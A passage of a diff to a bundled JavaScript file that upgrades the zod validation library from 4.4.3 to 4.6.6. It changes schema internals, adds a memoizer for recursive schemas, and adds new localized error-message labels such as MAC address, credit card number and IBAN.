left.aborted = true; return left; } - return next._zod.run({ value: left.value, issues: left.issues, fallback: left.fallback }, ctx); + return next._zod.run({ value: left.value, issues: left.issues }, ctx); } var $ZodCodec = /* @__PURE__ */ $constructor("$ZodCodec", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => def.in._zod.values); - defineLazy(inst._zod, "optin", () => def.in._zod.optin); - defineLazy(inst._zod, "optout", () => def.out._zod.optout); - defineLazy(inst._zod, "propValues", () => def.in._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.in._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.in._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.out._zod.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.in._zod.propValues); inst._zod.parse = (payload, ctx) => { const direction = ctx.direction || "forward"; if (direction === "forward") { @@ -58912,10 +59552,10 @@ var $ZodPreprocess = /* @__PURE__ */ $constructor("$ZodPreprocess", (inst, def) }); var $ZodReadonly = /* @__PURE__ */ $constructor("$ZodReadonly", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "propValues", () => def.innerType._zod.propValues); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); - defineLazy(inst._zod, "optin", () => def.innerType?._zod?.optin); - defineLazy(inst._zod, "optout", () => def.innerType?._zod?.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.innerType._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType?._zod?.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType?._zod?.optout); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -58928,23 +59568,66 @@ var $ZodReadonly = /* @__PURE__ */ $constructor("$ZodReadonly", (inst, def) => { }; }); function handleReadonlyResult(payload) { - payload.value = Object.freeze(payload.value); + if (!payload.memo) + payload.value = Object.freeze(payload.value); return payload; } +function leafPattern(schema) { + const def = schema._zod.def; + let pattern = def.pattern; + let isInt = !!def.format?.includes("int"); + let minimum; + let maximum; + for (const ch of def.checks ?? []) { + const d = ch._zod.def; + if (d.pattern) + pattern = d.pattern; + isInt || (isInt = !!d.format?.includes("int")); + const lo = d.minimum ?? d.length; + const hi = d.maximum ?? d.length; + if (lo !== void 0 && (minimum === void 0 || lo > minimum)) + minimum = lo; + if (hi !== void 0 && (maximum === void 0 || hi < maximum)) + maximum = hi; + } + if (pattern) + return pattern.source; + if (minimum !== void 0 && maximum !== void 0 && minimum > maximum) + return "(?!)"; + if (minimum !== void 0 || maximum !== void 0) + return string({ minimum, maximum }).source; + const own2 = schema._zod.pattern; + return (isInt && own2 === number ? integer : own2)?.source; +} +function partPattern(schema) { + const def = schema._zod.def; + const own2 = schema._zod.pattern?.source; + const inner = def.innerType ?? schema._zod.innerType; + if (inner) { + const before = inner._zod.pattern?.source; + const after = partPattern(inner); + if (own2 && before && after && after !== before) { + return own2.replace(cleanRegex(before), () => cleanRegex(after)); + } + return own2; + } + if (def.options) { + const sources = def.options.map(partPattern); + if (sources.every(Boolean)) + return `^(${sources.map((s) => cleanRegex(s)).join("|")})$`; + } + return leafPattern(schema); +} var $ZodTemplateLiteral = /* @__PURE__ */ $constructor("$ZodTemplateLiteral", (inst, def) => { $ZodType.init(inst, def); const regexParts = []; for (const part of def.parts) { if (typeof part === "object" && part !== null) { - if (!part._zod.pattern) { + const source = partPattern(part); + if (!source) { throw new Error(`Invalid template literal part, no pattern found: ${[...part._zod.traits].shift()}`); } - const source = part._zod.pattern instanceof RegExp ? part._zod.pattern.source : part._zod.pattern; - if (!source) - throw new Error(`Invalid template literal part: ${part._zod.traits}`); - const start = source.startsWith("^") ? 1 : 0; - const end = source.endsWith("$") ? source.length - 1 : source.length; - regexParts.push(source.slice(start, end)); + regexParts.push(cleanRegex(source)); } else if (part === null || primitiveTypes.has(typeof part)) { regexParts.push(escapeRegex(`${part}`)); } else { @@ -58978,33 +59661,33 @@ var $ZodTemplateLiteral = /* @__PURE__ */ $constructor("$ZodTemplateLiteral", (i }); var $ZodFunction = /* @__PURE__ */ $constructor("$ZodFunction", (inst, def) => { $ZodType.init(inst, def); - inst._def = def; + Object.defineProperty(inst, "_def", { value: def }); inst._zod.def = def; inst.implement = (func) => { if (typeof func !== "function") { throw new Error("implement() must be called with a function"); } - return function(...args) { + return Object.defineProperty(function(...args) { const parsedArgs = inst._def.input ? parse(inst._def.input, args) : args; const result = Reflect.apply(func, this, parsedArgs); if (inst._def.output) { return parse(inst._def.output, result); } return result; - }; + }, "_zod", { value: inst._zod, enumerable: false }); }; inst.implementAsync = (func) => { if (typeof func !== "function") { throw new Error("implementAsync() must be called with a function"); } - return async function(...args) { + return Object.defineProperty(async function(...args) { const parsedArgs = inst._def.input ? await parseAsync(inst._def.input, args) : args; const result = await Reflect.apply(func, this, parsedArgs); if (inst._def.output) { return await parseAsync(inst._def.output, result); } return result; - }; + }, "_zod", { value: inst._zod, enumerable: false }); }; inst._zod.parse = (payload, _ctx) => { if (typeof payload.value !== "function") { @@ -59043,12 +59726,12 @@ var $ZodFunction = /* @__PURE__ */ $constructor("$ZodFunction", (inst, def) => { output: inst._def.output }); }; - inst.output = (output) => { + inst.output = (output2) => { const F = inst.constructor; return new F({ type: "function", input: inst._def.input, - output + output: output2 }); }; return inst; @@ -59067,10 +59750,10 @@ var $ZodLazy = /* @__PURE__ */ $constructor("$ZodLazy", (inst, def) => { d._cachedInner = def.getter(); return d._cachedInner; }); - defineLazy(inst._zod, "pattern", () => inst._zod.innerType?._zod?.pattern); - defineLazy(inst._zod, "propValues", () => inst._zod.innerType?._zod?.propValues); - defineLazy(inst._zod, "optin", () => inst._zod.innerType?._zod?.optin ?? void 0); - defineLazy(inst._zod, "optout", () => inst._zod.innerType?._zod?.optout ?? void 0); + defineLazyInternal(inst, "pattern", (zod) => zod.innerType?._zod?.pattern); + defineLazyInternal(inst, "propValues", (zod) => zod.innerType?._zod?.propValues); + defineLazyInternal(inst, "optin", (zod) => zod.innerType?._zod?.optin ?? void 0); + defineLazyInternal(inst, "optout", (zod) => zod.innerType?._zod?.optout ?? void 0); inst._zod.parse = (payload, ctx) => { const inner = inst._zod.innerType; return inner._zod.run(payload, ctx); @@ -59083,20 +59766,20 @@ var $ZodCustom = /* @__PURE__ */ $constructor("$ZodCustom", (inst, def) => { return payload; }; inst._zod.check = (payload) => { - const input = payload.value; - const r = def.fn(input); + const input2 = payload.value; + const r = def.fn(input2); if (r instanceof Promise) { - return r.then((r2) => handleRefineResult(r2, payload, input, inst)); + return r.then((r2) => handleRefineResult(r2, payload, input2, inst)); } - handleRefineResult(r, payload, input, inst); + handleRefineResult(r, payload, input2, inst); return; }; }); -function handleRefineResult(result, payload, input, inst) { +function handleRefineResult(result, payload, input2, inst) { if (!result) { const _iss = { code: "custom", - input, + input: input2, inst, // incorporates params.error into issue reporting path: [...inst._zod.def.path ?? []], @@ -59110,14 +59793,293 @@ function handleRefineResult(result, payload, input, inst) { } } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/index.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/memoizer.js +var $ZodCyclicError = class extends Error { + constructor() { + super(`Cannot parse a reference cycle that closes through a transform`); + this.name = "ZodCyclicError"; + } +}; +var STATE = "~memo"; +var NO_ISSUES = []; +function isRef(value) { + return value !== null && typeof value === "object"; +} +function cloneIssues(issues) { + return issues.map((iss) => iss.path ? { ...iss, path: iss.path.slice() } : { ...iss }); +} +var recursive = /* @__PURE__ */ new WeakMap(); +var NONE = 0; +var ASSUMED = 1; +var PROVEN = 2; +function isRecursive(inst, stack, resolve) { + const cached2 = recursive.get(inst); + if (cached2 !== void 0) + return cached2 ? PROVEN : NONE; + if (stack.has(inst)) + return PROVEN; + stack.add(inst); + let result = NONE; + const check3 = (child) => { + if (result !== PROVEN && child?._zod) { + const answer = isRecursive(child, stack, resolve); + if (answer > result) + result = answer; + } + }; + const shape = (sh, spread) => { + let answer = NONE; + for (const key of Reflect.ownKeys(sh)) { + const desc2 = Object.getOwnPropertyDescriptor(sh, key); + if (spread && !desc2.enumerable) + continue; + const child = desc2.get ? ASSUMED : desc2.value?._zod ? isRecursive(desc2.value, stack, resolve) : NONE; + if (child > answer) + answer = child; + } + return answer; + }; + const merge2 = (answer) => { + if (answer > result) + result = answer; + }; + const def = inst._zod.def; + const kind = def.type; + switch (kind) { + case "object": { + const raw = rawShape(def); + merge2(raw ? shape(raw, true) : ASSUMED); + check3(def.catchall); + break; + } + case "array": + check3(def.element); + break; + case "tuple": + for (const el of def.items) + check3(el); + check3(def.rest); + break; + case "record": + case "map": + check3(def.keyType); + check3(def.valueType); + break; + case "set": + check3(def.valueType); + break; + case "union": + for (const el of def.options) + check3(el); + break; + case "intersection": + check3(def.left); + check3(def.right); + break; + case "optional": + case "nullable": + case "default": + case "prefault": + case "catch": + case "readonly": + case "nonoptional": + case "promise": + case "success": + check3(def.innerType); + break; + case "pipe": + check3(def.in); + check3(def.out); + break; + case "function": + check3(def.input); + check3(def.output); + break; + // `$ZodLazy` caches its inner on the def, so a resolved edge is followed exactly + case "lazy": { + const inner = def._cachedInner ?? (resolve ? inst._zod.innerType : void 0); + merge2(inner ? isRecursive(inner, stack, false) : ASSUMED); + break; + } + // a leaf by choice: `parts` are regex fragments, not data positions + case "template_literal": + // leaves + case "string": + case "number": + case "int": + case "boolean": + case "bigint": + case "symbol": + case "undefined": + case "null": + case "void": + case "never": + case "any": + case "unknown": + case "date": + case "nan": + case "enum": + case "literal": + case "file": + case "transform": + case "custom": + break; + default: { + kind; + for (const key in def) { + const desc2 = Object.getOwnPropertyDescriptor(def, key); + if (!desc2 || desc2.get) + continue; + const value = desc2.value; + if (!value || typeof value !== "object") + continue; + if (value._zod) + check3(value); + else if (Array.isArray(value)) + for (const el of value) + check3(el); + } + } + } + stack.delete(inst); + return settle(inst, result); +} +function settle(inst, answer) { + if (answer !== ASSUMED) + recursive.set(inst, answer === PROVEN); + return answer; +} +function isRecursiveSchema(inst) { + return isRecursive(inst, /* @__PURE__ */ new Set(), true) !== NONE; +} +function bucketFor(state, inst) { + let bucket = state.buckets.get(inst); + if (!bucket) { + bucket = /* @__PURE__ */ new WeakMap(); + state.buckets.set(inst, bucket); + } + return bucket; +} +var handoff; +var open = []; +var memo = { + alloc(_inst, payload, empty) { + const bucket = handoff; + if (!bucket) + return empty; + handoff = void 0; + const entry = { value: empty, issues: null }; + bucket.set(payload.value, entry); + open.push(entry); + return empty; + }, + guard(inst) { + var _a3; + (_a3 = inst._zod).deferred ?? (_a3.deferred = []); + inst._zod.deferred.push(() => { + const base = inst._zod.parse; + const wrapped = (payload, ctx) => { + if (ctx.direction !== "backward" && isBackEdge(ctx, payload.value)) + throw new $ZodCyclicError(); + return base(payload, ctx); + }; + inst._zod.parse = wrapped; + if (inst._zod.run === base) + inst._zod.run = wrapped; + }); + }, + attach(inst) { + var _a3; + let isRecursiveInst; + let rechecked = false; + let lastCtx; + let lastBucket; + (_a3 = inst._zod).deferred ?? (_a3.deferred = []); + inst._zod.deferred.push(() => { + const base = inst._zod.parse; + const wrapped = (payload, ctx) => { + if (isRecursiveInst === void 0) { + const walked = isRecursive(inst, /* @__PURE__ */ new Set(), false); + if (walked === NONE) { + inst._zod.parse = base; + if (inst._zod.run === wrapped) + inst._zod.run = base; + return base(payload, ctx); + } + if (walked === PROVEN || rechecked) + isRecursiveInst = true; + else + rechecked = true; + } + const input2 = payload.value; + if (!isRef(input2)) + return base(payload, ctx); + let state = ctx[STATE]; + if (!state) { + state = { buckets: /* @__PURE__ */ new WeakMap(), backEdges: void 0 }; + ctx[STATE] = state; + } + let bucket; + if (lastCtx === ctx) { + bucket = lastBucket; + } else { + bucket = bucketFor(state, inst); + lastCtx = ctx; + lastBucket = bucket; + } + const hit = bucket.get(input2); + if (hit) { + payload.value = hit.value; + if (hit.issues) { + if (hit.issues.length) + payload.issues.push(...cloneIssues(hit.issues)); + } else { + payload.memo = true; + state.backEdges ?? (state.backEdges = /* @__PURE__ */ new WeakSet()); + state.backEdges.add(hit.value); + } + return payload; + } + handoff = bucket; + const depth = open.length; + const result = base(payload, ctx); + handoff = void 0; + const entry = open.length > depth ? open.pop() : void 0; + if (result instanceof Promise) { + return result.then((r) => { + if (entry) + entry.issues = r.issues.length ? cloneIssues(r.issues) : NO_ISSUES; + return r; + }); + } + if (entry) + entry.issues = result.issues.length ? cloneIssues(result.issues) : NO_ISSUES; + return result; + }; + inst._zod.parse = wrapped; + if (inst._zod.run === base) + inst._zod.run = wrapped; + }); + } +}; +function memoizer() { + return memo; +} +function isBackEdge(ctx, value) { + const backEdges = ctx[STATE]?.backEdges; + return backEdges !== void 0 && isRef(value) && backEdges.has(value); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/index.js var locales_exports = {}; __export(locales_exports, { ar: () => ar_default, az: () => az_default, be: () => be_default, bg: () => bg_default, + bn: () => bn_default, ca: () => ca_default, + ckb: () => ckb_default, cs: () => cs_default, da: () => da_default, de: () => de_default, @@ -59129,7 +60091,9 @@ __export(locales_exports, { fi: () => fi_default, fr: () => fr_default, frCA: () => fr_CA_default, + gu: () => gu_default, he: () => he_default, + hi: () => hi_default, hr: () => hr_default, hu: () => hu_default, hy: () => hy_default, @@ -59140,22 +60104,29 @@ __export(locales_exports, { ka: () => ka_default, kh: () => kh_default, km: () => km_default, + kn: () => kn_default, ko: () => ko_default, lt: () => lt_default, mk: () => mk_default, ms: () => ms_default, + ne: () => ne_default, nl: () => nl_default, + nn: () => nn_default, no: () => no_default, ota: () => ota_default, pl: () => pl_default, ps: () => ps_default, pt: () => pt_default, + ptBR: () => pt_BR_default, ro: () => ro_default, ru: () => ru_default, + sk: () => sk_default, sl: () => sl_default, sv: () => sv_default, ta: () => ta_default, + tg: () => tg_default, th: () => th_default, + tk: () => tk_default, tr: () => tr_default, ua: () => ua_default, uk: () => uk_default, @@ -59167,13 +60138,14 @@ __export(locales_exports, { zhTW: () => zh_TW_default }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ar.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ar.js var error = () => { const Sizable = { string: { unit: "\u062D\u0631\u0641", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, file: { unit: "\u0628\u0627\u064A\u062A", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, array: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, - set: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" } + set: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, + map: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59199,12 +60171,16 @@ var error = () => { duration: "\u0645\u062F\u0629 \u0628\u0645\u0639\u064A\u0627\u0631 ISO", ipv4: "\u0639\u0646\u0648\u0627\u0646 IPv4", ipv6: "\u0639\u0646\u0648\u0627\u0646 IPv6", + mac: "\u0639\u0646\u0648\u0627\u0646 MAC", cidrv4: "\u0645\u062F\u0649 \u0639\u0646\u0627\u0648\u064A\u0646 \u0628\u0635\u064A\u063A\u0629 IPv4", cidrv6: "\u0645\u062F\u0649 \u0639\u0646\u0627\u0648\u064A\u0646 \u0628\u0635\u064A\u063A\u0629 IPv6", base64: "\u0646\u064E\u0635 \u0628\u062A\u0631\u0645\u064A\u0632 base64-encoded", base64url: "\u0646\u064E\u0635 \u0628\u062A\u0631\u0645\u064A\u0632 base64url-encoded", json_string: "\u0646\u064E\u0635 \u0639\u0644\u0649 \u0647\u064A\u0626\u0629 JSON", e164: "\u0631\u0642\u0645 \u0647\u0627\u062A\u0641 \u0628\u0645\u0639\u064A\u0627\u0631 E.164", + credit_card: "\u0631\u0642\u0645 \u0628\u0637\u0627\u0642\u0629 \u0627\u0644\u0627\u0626\u062A\u0645\u0627\u0646", + currency_code: "\u0631\u0645\u0632 \u0627\u0644\u0639\u0645\u0644\u0629", + iban: "IBAN", jwt: "JWT", template_literal: "\u0645\u062F\u062E\u0644" }; @@ -59274,13 +60250,14 @@ function ar_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/az.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/az.js var error2 = () => { const Sizable = { string: { unit: "simvol", verb: "olmal\u0131d\u0131r" }, file: { unit: "bayt", verb: "olmal\u0131d\u0131r" }, array: { unit: "element", verb: "olmal\u0131d\u0131r" }, - set: { unit: "element", verb: "olmal\u0131d\u0131r" } + set: { unit: "element", verb: "olmal\u0131d\u0131r" }, + map: { unit: "element", verb: "olmal\u0131d\u0131r" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59306,12 +60283,16 @@ var error2 = () => { duration: "ISO duration", ipv4: "IPv4 address", ipv6: "IPv6 address", + mac: "MAC address", cidrv4: "IPv4 range", cidrv6: "IPv6 range", base64: "base64-encoded string", base64url: "base64url-encoded string", json_string: "JSON string", e164: "E.164 number", + credit_card: "kredit kart\u0131 n\xF6mr\u0259si", + currency_code: "valyuta kodu", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -59380,7 +60361,7 @@ function az_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/be.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/be.js function getBelarusianPlural(count, one, few, many) { const absCount = Math.abs(count); const lastDigit = absCount % 10; @@ -59422,6 +60403,14 @@ var error3 = () => { }, verb: "\u043C\u0435\u0446\u044C" }, + map: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u044B", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430\u045E" + }, + verb: "\u043C\u0435\u0446\u044C" + }, file: { unit: { one: "\u0431\u0430\u0439\u0442", @@ -59455,12 +60444,16 @@ var error3 = () => { duration: "ISO \u043F\u0440\u0430\u0446\u044F\u0433\u043B\u0430\u0441\u0446\u044C", ipv4: "IPv4 \u0430\u0434\u0440\u0430\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0430\u0441", + mac: "MAC \u0430\u0434\u0440\u0430\u0441", cidrv4: "IPv4 \u0434\u044B\u044F\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u044B\u044F\u043F\u0430\u0437\u043E\u043D", base64: "\u0440\u0430\u0434\u043E\u043A \u0443 \u0444\u0430\u0440\u043C\u0430\u0446\u0435 base64", base64url: "\u0440\u0430\u0434\u043E\u043A \u0443 \u0444\u0430\u0440\u043C\u0430\u0446\u0435 base64url", json_string: "JSON \u0440\u0430\u0434\u043E\u043A", e164: "\u043D\u0443\u043C\u0430\u0440 E.164", + credit_card: "\u043D\u0443\u043C\u0430\u0440 \u043A\u0440\u044D\u0434\u044B\u0442\u043D\u0430\u0439 \u043A\u0430\u0440\u0442\u044B", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u044B", + iban: "IBAN", jwt: "JWT", template_literal: "\u0443\u0432\u043E\u0434" }; @@ -59537,13 +60530,14 @@ function be_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/bg.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/bg.js var error4 = () => { const Sizable = { string: { unit: "\u0441\u0438\u043C\u0432\u043E\u043B\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, file: { unit: "\u0431\u0430\u0439\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, array: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, - set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" } + set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, + map: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59569,12 +60563,16 @@ var error4 = () => { duration: "ISO \u043F\u0440\u043E\u0434\u044A\u043B\u0436\u0438\u0442\u0435\u043B\u043D\u043E\u0441\u0442", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441", + mac: "MAC \u0430\u0434\u0440\u0435\u0441", cidrv4: "IPv4 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", base64: "base64-\u043A\u043E\u0434\u0438\u0440\u0430\u043D \u043D\u0438\u0437", base64url: "base64url-\u043A\u043E\u0434\u0438\u0440\u0430\u043D \u043D\u0438\u0437", json_string: "JSON \u043D\u0438\u0437", e164: "E.164 \u043D\u043E\u043C\u0435\u0440", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043D\u0430 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u0430 \u043A\u0430\u0440\u0442\u0430", + currency_code: "\u043A\u043E\u0434 \u043D\u0430 \u0432\u0430\u043B\u0443\u0442\u0430", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0445\u043E\u0434" }; @@ -59658,13 +60656,128 @@ function bg_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ca.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/bn.js var error5 = () => { + const Sizable = { + string: { unit: "\u0985\u0995\u09CD\u09B7\u09B0", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + file: { unit: "\u09AC\u09BE\u0987\u099F", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + array: { unit: "\u0986\u0987\u099F\u09C7\u09AE", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + set: { unit: "\u0986\u0987\u099F\u09C7\u09AE", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + map: { unit: "\u098F\u09A8\u09CD\u099F\u09CD\u09B0\u09BF", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0987\u09A8\u09AA\u09C1\u099F", + email: "\u0987\u09AE\u09C7\u0987\u09B2 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + url: "URL", + emoji: "\u0987\u09AE\u09CB\u099C\u09BF", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u09A4\u09BE\u09B0\u09BF\u0996 \u0993 \u09B8\u09AE\u09AF\u09BC", + date: "ISO \u09A4\u09BE\u09B0\u09BF\u0996", + time: "ISO \u09B8\u09AE\u09AF\u09BC", + duration: "ISO \u09B8\u09AE\u09AF\u09BC\u0995\u09BE\u09B2", + ipv4: "IPv4 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + ipv6: "IPv6 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + mac: "MAC \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + cidrv4: "IPv4 \u09B0\u09C7\u099E\u09CD\u099C", + cidrv6: "IPv6 \u09B0\u09C7\u099E\u09CD\u099C", + base64: "base64-\u098F\u09A8\u0995\u09CB\u09A1\u09C7\u09A1 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + base64url: "base64url-\u098F\u09A8\u0995\u09CB\u09A1\u09C7\u09A1 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + json_string: "JSON \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + e164: "E.164 \u09A8\u09AE\u09CD\u09AC\u09B0", + credit_card: "\u0995\u09CD\u09B0\u09C7\u09A1\u09BF\u099F \u0995\u09BE\u09B0\u09CD\u09A1 \u09A8\u09AE\u09CD\u09AC\u09B0", + currency_code: "\u09AE\u09C1\u09A6\u09CD\u09B0\u09BE \u0995\u09CB\u09A1", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0987\u09A8\u09AA\u09C1\u099F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F: \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${expected}, \u09AA\u09CD\u09B0\u09BE\u09AA\u09CD\u09A4 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F: \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0985\u09AC\u09C8\u09A7 \u0985\u09AA\u09B6\u09A8: ${joinValues(issue2.values, " | ")} \u098F\u09B0 \u09AE\u09A7\u09CD\u09AF\u09C7 \u098F\u0995\u099F\u09BF \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0985\u09A8\u09C7\u0995 \u09AC\u09A1\u09BC: ${issue2.origin ?? "\u09AE\u09BE\u09A8"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u098F\u09B2\u09BF\u09AE\u09C7\u09A8\u09CD\u099F"} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + return `\u0985\u09A8\u09C7\u0995 \u09AC\u09A1\u09BC: ${issue2.origin ?? "\u09AE\u09BE\u09A8"} ${adj}${issue2.maximum.toString()} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0985\u09A8\u09C7\u0995 \u099B\u09CB\u099F: ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + return `\u0985\u09A8\u09C7\u0995 \u099B\u09CB\u099F: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.prefix}" \u09A6\u09BF\u09AF\u09BC\u09C7 \u09B6\u09C1\u09B0\u09C1 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + if (_issue.format === "ends_with") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.suffix}" \u09A6\u09BF\u09AF\u09BC\u09C7 \u09B6\u09C7\u09B7 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + if (_issue.format === "includes") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.includes}" \u0985\u09A8\u09CD\u09A4\u09B0\u09CD\u09AD\u09C1\u0995\u09CD\u09A4 \u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7`; + if (_issue.format === "regex") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: ${_issue.pattern} \u09AA\u09CD\u09AF\u09BE\u099F\u09BE\u09B0\u09CD\u09A8 \u09AE\u09BF\u09B2\u09A4\u09C7 \u09B9\u09AC\u09C7`; + return `\u0985\u09AC\u09C8\u09A7 ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0985\u09AC\u09C8\u09A7 \u09A8\u09AE\u09CD\u09AC\u09B0: ${issue2.divisor} \u098F\u09B0 \u0997\u09C1\u09A3\u09BF\u09A4\u0995 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + case "unrecognized_keys": + return `\u0985\u099A\u09C7\u09A8\u09BE \u0995\u09C0${issue2.keys.length > 1 ? "\u0997\u09C1\u09B2\u09CB" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} \u098F \u0985\u09AC\u09C8\u09A7 \u0995\u09C0`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0985\u09AC\u09C8\u09A7 